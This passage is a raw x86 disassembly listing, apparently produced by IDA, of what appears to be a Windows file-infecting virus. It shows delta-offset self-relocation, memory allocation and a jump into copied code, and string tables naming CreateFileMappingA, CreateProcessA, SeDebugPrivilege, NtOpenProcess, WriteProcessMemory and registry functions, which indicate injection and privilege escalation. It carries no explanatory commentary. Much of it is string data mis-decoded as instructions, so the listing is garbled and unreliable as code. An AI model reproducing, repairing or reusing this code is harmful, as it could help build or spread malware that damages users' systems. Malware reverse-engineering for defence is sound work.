		db	65h
		jz	short near ptr loc_47E1C0+1
		popa
		jnb	short near ptr loc_47E1EA+2
		inc	ebp
		jb	short near ptr loc_47E1EA+3
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_47E17E	proc near		; CODE XREF: fuck:0047E16Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0047E0F0 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0047E534 SIZE 0000000B BYTES

		push	ebx
		call	esi
		mov	[ebp+103E6Ah], eax
		call	sub_47E55F
		test	eax, eax
		jz	loc_47E0F0
		push	eax
		call	dword ptr [ebp+103E6Ah]
		test	eax, eax
		jnz	loc_47E534


loc_47E1A3:				; CODE XREF: fuck:0047E160j
					; fuck:0047E13Fj
		cmp	byte ptr [ebp+10153Fh],	1
		jnz	short loc_47E1C0
		push	dword ptr [ebp+104308h]
		dec	byte ptr [ebp+10153Fh]
		pop	dword ptr [ebp+101598h]


loc_47E1BE:				; CODE XREF: fuck:0047E157j
		jmp	short loc_47E1C7
; ---------------------------------------------------------------------------


loc_47E1C0:				; CODE XREF: sub_47E17E+2Cj
					; fuck:0047E15Aj ...
		and	dword ptr [ebp+101598h], 0


loc_47E1C7:				; CODE XREF: sub_47E17E:loc_47E1BEj
		and	dword ptr [ebp+101588h], 0
		and	dword ptr [ebp+10158Ch], 0
		and	dword ptr [ebp+101590h], 0
		push	edi
		mov	byte ptr [ebp+1012D4h],	1
		mov	[ebp+103E6Eh], esi


loc_47E1EA:				; CODE XREF: fuck:0047E176j
					; fuck:0047E179j
		lea	esi, [ebp+101604h]
		xor	ecx, ecx
		lea	edi, [ebp+103E7Ah]
		mov	cl, 20h
		call	sub_47E59C
		pop	edi
		call	dword ptr [ebp+103EBAh]
		shr	eax, 1Fh
		jz	loc_47E2E3
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	[ebp+103E72h], eax
		push	7328h
		push	0
		call	dword ptr [ebp+103EF2h]
		test	eax, eax
		jz	loc_47E534
		xchg	eax, edi
		lea	esi, [ebp+101000h]
		mov	ebp, edi
		mov	ecx, 0CCAh
		sub	ebp, 101000h
		lea	edx, [ebp+101254h]
		rep movsd
		jmp	edx
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, [ebp+101B4Dh]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr [ebp+103E72h]
		add	esp, 20h
		test	eax, eax
		jz	loc_47E534
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr [ebp+103E72h]
		test	eax, eax
		jz	loc_47E534
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr [ebp+103E72h]
		push	1000Ah
		call	dword ptr [ebp+103E72h]
		call	loc_47E2D3
		jmp	loc_47E534
; ---------------------------------------------------------------------------


loc_47E2D3:				; CODE XREF: sub_47E17E+14Bp
					; sub_47E17E+162j
		push	1
		pop	ecx
		jecxz	short locret_47E2E2
		push	0Ah
		call	dword ptr [ebp+103EE6h]
		jmp	short loc_47E2D3
; ---------------------------------------------------------------------------

locret_47E2E2:				; CODE XREF: sub_47E17E+158j
		retn
; ---------------------------------------------------------------------------


loc_47E2E3:				; CODE XREF: sub_47E17E+8Bj
		cmp	dword ptr [ebp+103E92h], 0
		jz	loc_47E534
		call	near ptr loc_47E2FA+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_47E2FA:				; CODE XREF: sub_47E17E+172p
		add	bh, bh
sub_47E17E	endp ; sp-analysis failed

		xchg	eax, ebp
		scasb
		db	3Eh
		adc	[eax], al
		lea	esi, [ebp+1017DEh]
		xor	ecx, ecx
		lea	edi, [ebp+103EFAh]
		mov	cl, 0Eh
		xchg	eax, ebx
		call	sub_47E59C
		cmp	dword ptr [ebp+103F2Eh], 0
		jz	loc_47E534
		mov	eax, [ebp+103EFEh]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+103917h]
		mov	eax, [ebp+103F16h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+103964h]
		mov	eax, [ebp+103F02h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+10396Bh]
		cmp	dword ptr [ebp+10396Bh], 10000h
		jnb	loc_47E534
		mov	ecx, [ebp+103F06h]
		jecxz	short loc_47E383
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+103978h]
		mov	ecx, [ebp+103F0Eh]
		jecxz	short loc_47E383
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+103985h]


loc_47E383:				; CODE XREF: fuck:0047E367j
					; fuck:0047E378j
		call	sub_47E540
		lea	edi, [ebp+103F84h]
		mov	ecx, edi
		push	0
		neg	cl
		push	dword ptr [eax+4]
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	0
		push	18h
		lea	esi, [ebp+1015EBh]
		mov	ecx, 19h
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah
		lea	edx, [ebp+103E30h]


loc_47E3CC:				; CODE XREF: fuck:0047E3D5j
		lodsb
		mov	[edx], ax
		stosw
		add	edx, 2
		loop	loc_47E3CC
		mov	edx, esp
		push	0
		push	7328h
		mov	ecx, esp
		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr [ebp+103F0Ah]
		pop	eax
		add	esp, 40h
		push	7328h
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	0
		push	2
		push	edx
		push	0
		push	7328h
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ebp+103F12h]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_47E534
		lea	esi, [ebp+101000h]
		mov	ecx, 0CCAh
		mov	ebp, edi
		rep movsd
		sub	ebp, 101000h
		lea	eax, [ebp+10144Ah]
		jmp	eax
; ---------------------------------------------------------------------------
		dw 5450h
		dd 0FF6A206Ah, 3F1A95FFh, 0C0850010h, 0E834755Fh, 14Fh
		dd 11E8h, 44655300h, 67756265h,	76697250h, 67656C69h, 0E8570065h
		dd 550h, 4288B5FFh, 95FF0010h, 103E9Eh,	6295FF57h, 6A00103Eh
		dd 0FF026A00h, 103E9295h, 128B900h, 2B970000h, 240C89E1h
		dd 95FF5754h, 103ED6h, 0A583F633h, 103F72h, 0FF575400h
		dd 103EDA95h, 74C08500h, 0FE834666h, 0FFEE7204h, 6A082474h
		dd 0FF2A6A00h, 103ED295h, 74C08500h, 88E893DCh,	33000005h
		dd 3AE391C9h, 3F728539h, 32750010h, 24247C81h, 73727363h
		dd 0C1812874h, 0EAFh, 56505450h, 53505051h, 3E8A95FFh
		dd 0C0850010h, 0FF0F7459h, 8F082474h, 103F7285h, 0FDB5E800h
		dd 0FF53FFFFh, 103E6295h, 818EEB00h, 128C4h, 95FF5700h
		dd 103E62h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47E17E


loc_47E534:				; CODE XREF: sub_47E17E+1Fj
					; sub_47E17E+B2j ...
		call	dword ptr [ebp+103E62h]
		jmp	loc_47E0F0
; END OF FUNCTION CHUNK	FOR sub_47E17E
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_47E540	proc near		; CODE XREF: fuck:loc_47E383p
					; sub_47E55F+2p
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
		mov	eax, esp
		push	0
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
sub_47E540	endp

; ---------------------------------------------------------------------------
aVx_4		db 'Vx_4',0
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_47E55F	proc near		; CODE XREF: sub_47E17E+9p
		xor	ecx, ecx
		call	sub_47E540
		lea	edx, [ebp+101559h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+103E66h]
		add	esp, 20h
		retn
sub_47E55F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 585858h, 3328h, 0E73h, 3 dup(0)
		dd 29C0h, 0

; =============== S U B	R O U T	I N E =======================================



sub_47E59C	proc near		; CODE XREF: sub_47E17E+7Cp
					; fuck:0047E312p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+103E6Eh]
		stosd
		pop	ecx


loc_47E5A7:				; CODE XREF: sub_47E59C+Ej
		lodsb
		test	al, al
		jnz	short loc_47E5A7
		loop	sub_47E59C
		retn
sub_47E59C	endp


; =============== S U B	R O U T	I N E =======================================



sub_47E5AF	proc near		; CODE XREF: sub_48012D+25p

; FUNCTION CHUNK AT 0047E639 SIZE 000003C0 BYTES
; FUNCTION CHUNK AT 0047EA09 SIZE 00000027 BYTES

		lea	edx, [ebp+101985h]
		push	edx
		call	dword ptr [ebp+103EC6h]
		mov	[ebp+104288h], eax
		call	near ptr loc_47E5DC+1
		dec	esp
		outsd
		outsd
		imul	esi, [ebp+70h],	50h
		jb	short loc_47E639
		jbe	short near ptr loc_47E639+2
		insb
		db	65h, 67h, 65h
		push	esi
		popa
		insb
		jnz	short loc_47E640
		inc	ecx


loc_47E5DC:				; CODE XREF: sub_47E5AF+13p
		add	[eax-1], dl
sub_47E5AF	endp ; sp-analysis failed

		xchg	eax, ebp
		outsb
		db	3Eh
		adc	[eax], al
		mov	[ebp+10428Ch], eax
		retn
; ---------------------------------------------------------------------------
		db  5Ch	; \
		db  42h	; B
		db  61h	; a
		db  73h	; s
		db  65h	; e
		db  4Eh	; N
		db  61h	; a
		db  6Dh	; m
		db  65h	; e
		db  64h	; d
		db  4Fh	; O
		db  62h	; b
		db  6Ah	; j
		db  65h	; e
		db  63h	; c
		db  74h	; t
		db  73h	; s
		db  5Ch	; \
		db  56h	; V
		db  74h	; t
		db  53h	; S
		db  65h	; e
		db  63h	; c
		db  74h	; t
		db    0
		db  6Ch	; l
		db  73h	; s
		db  74h	; t
		db  72h	; r
		db  6Ch	; l
		db  65h	; e
		db  6Eh	; n
		db    0
		db  43h	; C
		db  72h	; r
		db  65h	; e
		db  61h	; a
		db  74h	; t
		db  65h	; e
		db  46h	; F
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  41h	; A
		db    0
		db  43h	; C
		db  72h	; r
		db  65h	; e
		db  61h	; a
		db  74h	; t
		db  65h	; e
		db  46h	; F
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  4Dh	; M
		db  61h	; a
		db  70h	; p
		db  70h	; p
		db  69h	; i
		db  6Eh	; n
		db  67h	; g
		db  41h	; A
		db    0
		db  43h	; C
		db  72h	; r
		db  65h	; e
		db  61h	; a
		db  74h	; t
		db  65h	; e
		db  50h	; P
		db  72h	; r
		db  6Fh	; o
		db  63h	; c
		db  65h	; e
		db  73h	; s
		db  73h	; s
		db  41h	; A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47E5AF


loc_47E639:				; CODE XREF: sub_47E5AF+1Fj
					; sub_47E5AF+21j
		add	[ebx+72h], al
		db	65h
		popa
		jz	short near ptr loc_47E6A3+2


loc_47E640:				; CODE XREF: sub_47E5AF+2Aj
		push	edx
		db	65h
		insd
		outsd
		jz	short loc_47E6AB
		push	esp
		push	64616572h
		add	[ebx+72h], al
		db	65h
		popa
		jz	short near ptr loc_47E6B6+2
		push	esp
		push	64616572h
		add	[ebx+72h], al
		db	65h
		popa
		jz	short near ptr loc_47E6C2+3
		push	esp
		outsd
		outsd
		insb
		push	33706C65h
		xor	dl, [ebx+6Eh]
		popa
		jo	short near ptr loc_47E6E1+1
		push	4500746Fh
		js	short loc_47E6DF
		jz	short near ptr loc_47E6CB+1
		push	64616572h
		add	[esi+69h], al
		insb
		db	65h
		push	esp
		imul	ebp, [ebp+65h],	79536F54h
		jnb	short loc_47E700
		db	65h
		insd
		push	esp
		imul	ebp, [ebp+65h],	65724600h
		db	65h
		dec	esp
		imul	esp, [edx+72h],	797261h
		inc	edi
		db	65h
		jz	short near ptr loc_47E6E3+6


loc_47E6A3:				; CODE XREF: sub_47E5AF+8Fj
		imul	ebp, [ebp+41h],	69727474h


loc_47E6AB:				; CODE XREF: sub_47E5AF+95j
		bound	esi, [ebp+74h]
		db	65h
		jnb	short loc_47E6F2
		add	[edi+65h], al
		jz	short near ptr loc_47E6FB+1


loc_47E6B6:				; CODE XREF: sub_47E5AF+A2j
		imul	ebp, [ebp+53h],	657A69h
		inc	edi
		db	65h
		jz	short loc_47E708


loc_47E6C2:				; CODE XREF: sub_47E5AF+AFj
		imul	ebp, [ebp+54h],	656D69h
		inc	edi


loc_47E6CB:				; CODE XREF: sub_47E5AF+C7j
		db	65h
		jz	short near ptr loc_47E71A+1
		outsd
		db	64h
		jnz	short near ptr loc_47E739+5
		db	65h
		dec	eax
		popa
		outsb
		db	64h
		insb
		db	65h
		inc	ecx
		add	[edi+65h], al
		jz	short near ptr loc_47E72D+6


loc_47E6DF:				; CODE XREF: sub_47E5AF+C5j
		db	65h
		insd


loc_47E6E1:				; CODE XREF: sub_47E5AF+BEj
		jo	short near ptr loc_47E727+2


loc_47E6E3:				; CODE XREF: sub_47E5AF+F1j
		imul	ebp, [ebp+4Eh],	41656D61h
		add	[edi+65h], al
		jz	short near ptr loc_47E741+3
		db	65h
		insd


loc_47E6F2:				; CODE XREF: sub_47E5AF+FFj
		jo	short near ptr loc_47E741+3
		popa
		jz	short near ptr loc_47E75E+1
		inc	ecx
		add	[edi+65h], al


loc_47E6FB:				; CODE XREF: sub_47E5AF+105j
		jz	short loc_47E753
		db	65h
		jb	short near ptr loc_47E772+1


loc_47E700:				; CODE XREF: sub_47E5AF+DBj
		imul	ebp, [edi+6Eh],	74654700h
		push	esi


loc_47E708:				; CODE XREF: sub_47E5AF+110j
		db	65h
		jb	short near ptr loc_47E77C+2
		imul	ebp, [edi+6Eh],	417845h
		inc	edi
		db	65h
		jz	short near ptr loc_47E76B+1
		outsd
		insb
		jnz	short near ptr loc_47E781+6


loc_47E71A:				; CODE XREF: sub_47E5AF:loc_47E6CBj
		db	65h
		dec	ecx
		outsb
		outsw
		jb	short near ptr loc_47E78C+2
		popa
		jz	short near ptr loc_47E78C+1
		outsd
		outsb
		inc	ecx


loc_47E727:				; CODE XREF: sub_47E5AF:loc_47E6E1j
		add	[edi+ebp*2+61h], cl
		db	64h
		dec	esp


loc_47E72D:				; CODE XREF: sub_47E5AF+12Ej
		imul	esp, [edx+72h],	41797261h
		add	[ebp+61h], cl
		jo	short loc_47E78F


loc_47E739:				; CODE XREF: sub_47E5AF+120j
		imul	esp, [ebp+77h],	6946664Fh
		insb


loc_47E741:				; CODE XREF: sub_47E5AF+13Fj
					; sub_47E5AF:loc_47E6F2j
		add	gs:[edi+70h], cl
		outs	dx, byte ptr gs:[esi]
		inc	esi
		imul	ebp, [ebp+4Dh],	69707061h
		outsb
		db	67h
		inc	ecx


loc_47E753:				; CODE XREF: sub_47E5AF:loc_47E6FBj
		add	[edi+70h], cl
		outs	dx, byte ptr gs:[esi]
		push	eax
		jb	short near ptr loc_47E7C9+1
		arpl	[ebp+73h], sp


loc_47E75E:				; CODE XREF: sub_47E5AF+146j
		jnb	short $+2
		push	eax
		jb	short loc_47E7D2
		arpl	[ebp+73h], sp
		jnb	short near ptr loc_47E794+7
		xor	al, [esi+69h]


loc_47E76B:				; CODE XREF: sub_47E5AF+164j
		jb	short near ptr loc_47E7DA+6
		jz	short $+2
		push	eax
		jb	short near ptr loc_47E7DA+7


loc_47E772:				; CODE XREF: sub_47E5AF+14Ej
		arpl	[ebp+73h], sp
		jnb	short near ptr loc_47E7A9+1
		xor	cl, [esi+65h]
		js	short near ptr loc_47E7EC+4


loc_47E77C:				; CODE XREF: sub_47E5AF:loc_47E708j
		add	[ebx+65h], dl
		jz	short near ptr loc_47E7C5+2


loc_47E781:				; CODE XREF: sub_47E5AF+169j
		imul	ebp, [ebp+41h],	69727474h
		bound	esi, [ebp+74h]


loc_47E78C:				; CODE XREF: sub_47E5AF+173j
					; sub_47E5AF+170j
		db	65h
		jnb	short loc_47E7D0


loc_47E78F:				; CODE XREF: sub_47E5AF+188j
		add	[ebx+65h], dl
		jz	short loc_47E7DA


loc_47E794:				; CODE XREF: sub_47E5AF+1B7j
		imul	ebp, [ebp+54h],	656D69h
		push	ebx
		insb
		db	65h, 65h
		jo	short $+4
		push	ebx
		jns	short loc_47E818
		jz	short loc_47E80C
		insd
		push	esp


loc_47E7A9:				; CODE XREF: sub_47E5AF+1C6j
		imul	ebp, [ebp+65h],	69466F54h
		insb
		db	65h
		push	esp
		imul	ebp, [ebp+65h],	6D6E5500h
		popa
		jo	short loc_47E813
		imul	esp, [ebp+77h],	6946664Fh
		insb


loc_47E7C5:				; CODE XREF: sub_47E5AF+1D0j
		add	gs:[esi+69h], dl


loc_47E7C9:				; CODE XREF: sub_47E5AF+1AAj
		jb	short near ptr loc_47E83E+1
		jnz	short loc_47E82E
		insb
		inc	ecx
		insb


loc_47E7D0:				; CODE XREF: sub_47E5AF:loc_47E78Cj
		insb
		outsd


loc_47E7D2:				; CODE XREF: sub_47E5AF+1B2j
		arpl	[eax], ax
		push	edi
		jb	short loc_47E840
		jz	short loc_47E83E
		inc	esi


loc_47E7DA:				; CODE XREF: sub_47E5AF+1E3j
					; sub_47E5AF:loc_47E76Bj ...
		imul	ebp, [ebp+0], 6441744Eh
		push	75h
		jnb	short loc_47E85A
		push	eax
		jb	short near ptr loc_47E84F+3
		jbe	short near ptr loc_47E84F+5
		insb


loc_47E7EC:				; CODE XREF: sub_47E5AF+1CBj
		db	65h, 67h, 65h
		jnb	near ptr 0E845h
		outsd
		imul	esp, [ebp+6Eh],	0
		dec	esi
		jz	short near ptr loc_47E83B+1
		jb	short near ptr loc_47E85F+1
		popa
		jz	short loc_47E863
		inc	esi
		imul	ebp, [ebp+0], 7243744Eh
		db	65h
		popa
		jz	short loc_47E870
		push	eax


loc_47E80C:				; CODE XREF: sub_47E5AF+1F6j
		jb	short loc_47E87D
		arpl	[ebp+73h], sp
		jnb	short $+2


loc_47E813:				; CODE XREF: sub_47E5AF+20Cj
		dec	esi
		jz	short near ptr loc_47E856+3
		jb	short loc_47E87D


loc_47E818:				; CODE XREF: sub_47E5AF+1F4j
		popa
		jz	short loc_47E880
		push	eax
		jb	short loc_47E88D
		arpl	[ebp+73h], sp
		jnb	short near ptr loc_47E863+5
		js	short $+2
		dec	esi
		jz	short loc_47E86B
		jb	short loc_47E88F
		popa
		jz	short near ptr loc_47E88F+3
		push	ebx


loc_47E82E:				; CODE XREF: sub_47E5AF+21Cj
		arpl	gs:[ecx+ebp*2+6Fh], si
		outsb
		add	[esi+74h], cl
		inc	ebx
		jb	short near ptr loc_47E89E+1
		popa


loc_47E83B:				; CODE XREF: sub_47E5AF+248j
		jz	short loc_47E8A2
		push	ebp


loc_47E83E:				; CODE XREF: sub_47E5AF+228j
					; sub_47E5AF:loc_47E7C9j
		jnb	short near ptr loc_47E8A4+1


loc_47E840:				; CODE XREF: sub_47E5AF+226j
		jb	short near ptr loc_47E88F+3
		jb	short loc_47E8B3
		arpl	[ebp+73h], sp
		jnb	short $+2
		dec	esi
		jz	short loc_47E899
		popa
		jo	short near ptr loc_47E8A4+1


loc_47E84F:				; CODE XREF: sub_47E5AF+238j
					; sub_47E5AF+23Aj
		imul	esp, [ebp+77h],	6553664Fh


loc_47E856:				; CODE XREF: sub_47E5AF+265j
		arpl	[ecx+ebp*2+6Fh], si


loc_47E85A:				; CODE XREF: sub_47E5AF+235j
		outsb
		add	[esi+74h], cl
		dec	edi


loc_47E85F:				; CODE XREF: sub_47E5AF+24Aj
		jo	short loc_47E8C6
		outsb
		inc	esi


loc_47E863:				; CODE XREF: sub_47E5AF+24Dj
					; sub_47E5AF+272j
		imul	ebp, [ebp+0], 704F744Eh


loc_47E86B:				; CODE XREF: sub_47E5AF+277j
		outs	dx, byte ptr gs:[esi]
		push	eax
		jb	short loc_47E8DF


loc_47E870:				; CODE XREF: sub_47E5AF+25Aj
		arpl	[ebp+73h], sp
		jnb	short loc_47E8C9
		outsd
		imul	esp, [ebp+6Eh],	0
		dec	esi
		jz	short near ptr loc_47E8CB+1


loc_47E87D:				; CODE XREF: sub_47E5AF:loc_47E80Cj
					; sub_47E5AF+267j
		jo	short near ptr loc_47E8E3+1
		outsb


loc_47E880:				; CODE XREF: sub_47E5AF+26Aj
		push	ebx
		arpl	gs:[ecx+ebp*2+6Fh], si
		outsb
		add	[esi+74h], cl
		push	eax
		jb	short near ptr loc_47E8FB+1


loc_47E88D:				; CODE XREF: sub_47E5AF+26Dj
		jz	short near ptr loc_47E8F3+1


loc_47E88F:				; CODE XREF: sub_47E5AF+279j
					; sub_47E5AF+27Cj ...
		arpl	[esi+edx*2+69h], si
		jb	short loc_47E909
		jnz	short near ptr loc_47E8F7+1
		insb
		dec	ebp


loc_47E899:				; CODE XREF: sub_47E5AF+29Bj
		db	65h
		insd
		outsd
		jb	short near ptr loc_47E914+3


loc_47E89E:				; CODE XREF: sub_47E5AF+289j
		add	[esi+74h], cl
		push	ecx


loc_47E8A2:				; CODE XREF: sub_47E5AF:loc_47E83Bj
		jnz	short loc_47E909


loc_47E8A4:				; CODE XREF: sub_47E5AF:loc_47E83Ej
					; sub_47E5AF+29Ej
		jb	short near ptr loc_47E91E+1
		dec	ecx
		outsb
		outsw
		jb	short near ptr loc_47E918+1
		popa
		jz	short loc_47E918
		outsd
		outsb
		push	esp
		outsd


loc_47E8B3:				; CODE XREF: sub_47E5AF+293j
		imul	esp, [ebp+6Eh],	0
		dec	esi
		jz	short near ptr loc_47E90F+2
		jb	short loc_47E925
		jz	short near ptr loc_47E922+1
		push	esi
		imul	esi, [edx+74h],	4D6C6175h


loc_47E8C6:				; CODE XREF: sub_47E5AF:loc_47E85Fj
		db	65h
		insd
		outsd


loc_47E8C9:				; CODE XREF: sub_47E5AF+2C4j
		jb	short loc_47E944


loc_47E8CB:				; CODE XREF: sub_47E5AF+2CCj
		add	[edx+74h], dl
		insb
		push	ebp
		outsb
		imul	esp, [ebx+6Fh],	74536564h
		jb	short near ptr loc_47E941+2
		outsb
		db	67h
		push	esp
		outsd
		inc	ecx


loc_47E8DF:				; CODE XREF: sub_47E5AF+2BFj
		outsb
		jnb	short near ptr loc_47E94A+1
		push	ebx


loc_47E8E3:				; CODE XREF: sub_47E5AF:loc_47E87Dj
		jz	short loc_47E957
		imul	ebp, [esi+67h],	41535700h
		push	ebx
		jz	short loc_47E950
		jb	short loc_47E965
		jnz	short near ptr loc_47E962+1


loc_47E8F3:				; CODE XREF: sub_47E5AF:loc_47E88Dj
		add	[ebx+6Ch], ah
		outsd


loc_47E8F7:				; CODE XREF: sub_47E5AF+2E6j
		jnb	short loc_47E95E
		jnb	short near ptr loc_47E969+1


loc_47E8FB:				; CODE XREF: sub_47E5AF+2DCj
		arpl	[ebx+65h], bp
		jz	short $+2
		arpl	[edi+6Eh], bp
		outsb
		arpl	gs:[eax+eax+67h], si


loc_47E909:				; CODE XREF: sub_47E5AF+2E4j
					; sub_47E5AF:loc_47E8A2j
		db	65h
		jz	short near ptr loc_47E973+1
		outsd
		jnb	short near ptr loc_47E981+2


loc_47E90F:				; CODE XREF: sub_47E5AF+309j
		bound	edi, [ecx+6Eh]
		popa
		insd


loc_47E914:				; CODE XREF: sub_47E5AF+2EDj
		add	gs:[edx+65h], dh


loc_47E918:				; CODE XREF: sub_47E5AF+2FEj
					; sub_47E5AF+2FBj
		arpl	[esi+0], si
		jnb	short near ptr loc_47E981+1
		outsb


loc_47E91E:				; CODE XREF: sub_47E5AF:loc_47E8A4j
		add	fs:[ebx+6Fh], dh


loc_47E922:				; CODE XREF: sub_47E5AF+30Dj
		arpl	[ebx+65h], bp


loc_47E925:				; CODE XREF: sub_47E5AF+30Bj
		jz	short $+2
		dec	ecx
		outsb
		jz	short loc_47E990
		jb	short loc_47E99B
		db	65h
		jz	short loc_47E973
		insb
		outsd
		jnb	short near ptr loc_47E998+1
		dec	eax
		popa
		outsb
		db	64h
		insb
		add	gs:[ecx+6Eh], cl
		jz	short loc_47E9A4
		jb	short near ptr loc_47E9AE+1


loc_47E941:				; CODE XREF: sub_47E5AF+329j
		db	65h
		jz	short loc_47E98B


loc_47E944:				; CODE XREF: sub_47E5AF:loc_47E8C9j
		db	65h
		jz	short loc_47E98A
		outsd
		outsb
		outsb


loc_47E94A:				; CODE XREF: sub_47E5AF+331j
		arpl	gs:[ebp+64h], si
		push	ebx


loc_47E950:				; CODE XREF: sub_47E5AF+33Ej
		jz	short near ptr loc_47E9B2+1
		jz	short loc_47E9B9
		add	[ecx+6Eh], cl


loc_47E957:				; CODE XREF: sub_47E5AF:loc_47E8E3j
		jz	short near ptr loc_47E9BC+2
		jb	short loc_47E9C9
		db	65h
		jz	short near ptr loc_47E9AB+2


loc_47E95E:				; CODE XREF: sub_47E5AF:loc_47E8F7j
		jo	short loc_47E9C5
		outsb
		inc	ecx


loc_47E962:				; CODE XREF: sub_47E5AF+342j
		add	[ecx+6Eh], cl


loc_47E965:				; CODE XREF: sub_47E5AF+340j
		jz	short near ptr loc_47E9CB+1
		jb	short loc_47E9D7


loc_47E969:				; CODE XREF: sub_47E5AF+34Aj
		db	65h
		jz	short near ptr loc_47E9BA+1
		jo	short loc_47E9D3
		outsb
		push	ebp
		jb	short near ptr loc_47E9DC+2
		inc	ecx


loc_47E973:				; CODE XREF: sub_47E5AF+37Ej
					; sub_47E5AF:loc_47E909j
		add	[ecx+6Eh], cl
		jz	short near ptr loc_47E9DC+1
		jb	short loc_47E9E8
		db	65h
		jz	short near ptr loc_47E9CE+1
		db	65h
		popa
		db	64h
		inc	esi


loc_47E981:				; CODE XREF: sub_47E5AF+36Cj
					; sub_47E5AF+35Ej
		imul	ebp, [ebp+0], 41564441h
		push	eax


loc_47E98A:				; CODE XREF: sub_47E5AF:loc_47E944j
		dec	ecx


loc_47E98B:				; CODE XREF: sub_47E5AF:loc_47E941j
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp


loc_47E990:				; CODE XREF: sub_47E5AF+37Aj
		dec	esp
		add	[edx+65h], dl
		db	67h
		inc	ebx
		insb
		outsd


loc_47E998:				; CODE XREF: sub_47E5AF+383j
		jnb	short near ptr loc_47E9FD+2
		dec	ebx


loc_47E99B:				; CODE XREF: sub_47E5AF+37Cj
		db	65h
		jns	short $+3
		push	edx
		db	65h, 67h
		dec	edi
		jo	short loc_47EA09


loc_47E9A4:				; CODE XREF: sub_47E5AF+38Ej
		outsb
		dec	ebx
		db	65h
		jns	short near ptr loc_47E9EC+2
		js	short loc_47E9EC


loc_47E9AB:				; CODE XREF: sub_47E5AF+3ACj
		add	[edx+65h], dl


loc_47E9AE:				; CODE XREF: sub_47E5AF+390j
		db	67h
		push	ecx
		jnz	short loc_47EA17


loc_47E9B2:				; CODE XREF: sub_47E5AF:loc_47E950j
		jb	short near ptr loc_47EA2C+1
		push	esi
		popa
		insb
		jnz	short near ptr loc_47EA1D+1


loc_47E9B9:				; CODE XREF: sub_47E5AF+3A3j
		inc	ebp


loc_47E9BA:				; CODE XREF: sub_47E5AF:loc_47E969j
		js	short loc_47E9FD


loc_47E9BC:				; CODE XREF: sub_47E5AF:loc_47E957j
		add	[edx+65h], dl
		db	67h
		push	ebx
		db	65h
		jz	short loc_47EA1A
		popa


loc_47E9C5:				; CODE XREF: sub_47E5AF:loc_47E95Ej
		insb
		jnz	short near ptr loc_47EA2C+1
		inc	ebp


loc_47E9C9:				; CODE XREF: sub_47E5AF+3AAj
		js	short loc_47EA0C


loc_47E9CB:				; CODE XREF: sub_47E5AF:loc_47E965j
		add	[esi+33h], dl


loc_47E9CE:				; CODE XREF: sub_47E5AF+3CBj
		imul	byte ptr [edx+2]
		push	esi
		push	esi


loc_47E9D3:				; CODE XREF: sub_47E5AF+3BDj
		mov	edx, esp
		push	1


loc_47E9D7:				; CODE XREF: sub_47E5AF+3B8j
		push	edx
		push	dword ptr [edx+18h]
		push	esi


loc_47E9DC:				; CODE XREF: sub_47E5AF+3C7j
					; sub_47E5AF+3C1j
		call	dword ptr [ebp+10428Ch]
		mov	eax, esp
		push	esi
		push	esi
		push	esi
		push	eax


loc_47E9E8:				; CODE XREF: sub_47E5AF+3C9j
		push	esi
		push	dword ptr [eax+18h]


loc_47E9EC:				; CODE XREF: sub_47E5AF+3FAj
					; sub_47E5AF+3F7j
		call	dword ptr [ebp+103EFAh]
		add	esp, 10h
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_47E5AF
; ---------------------------------------------------------------------------
		db  8Dh	; 
		db  49h	; I
		db 0FBh	; 
		db  2Bh	; +
; ---------------------------------------------------------------------------


loc_47E9FD:				; CODE XREF: sub_47E5AF:loc_47E9BAj
					; sub_47E5AF:loc_47E998j
		enter	6851h, 0
; ---------------------------------------------------------------------------
		db    0
		db    0
		db 0E8h	; 
		db  8Dh	; 
		db  4Ch	; L
		db  24h	; $
		db    3
		db  6Ah	; j
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47E5AF


loc_47EA09:				; CODE XREF: sub_47E5AF+3F3j
		add	[edx+5], ch


loc_47EA0C:				; CODE XREF: sub_47E5AF:loc_47E9C9j
		push	ecx
		push	eax
		push	ebx
		push	5
		mov	ecx, esp
		push	eax
		mov	edx, esp
		push	eax


loc_47EA17:				; CODE XREF: sub_47E5AF+401j
		push	esp
		push	40h


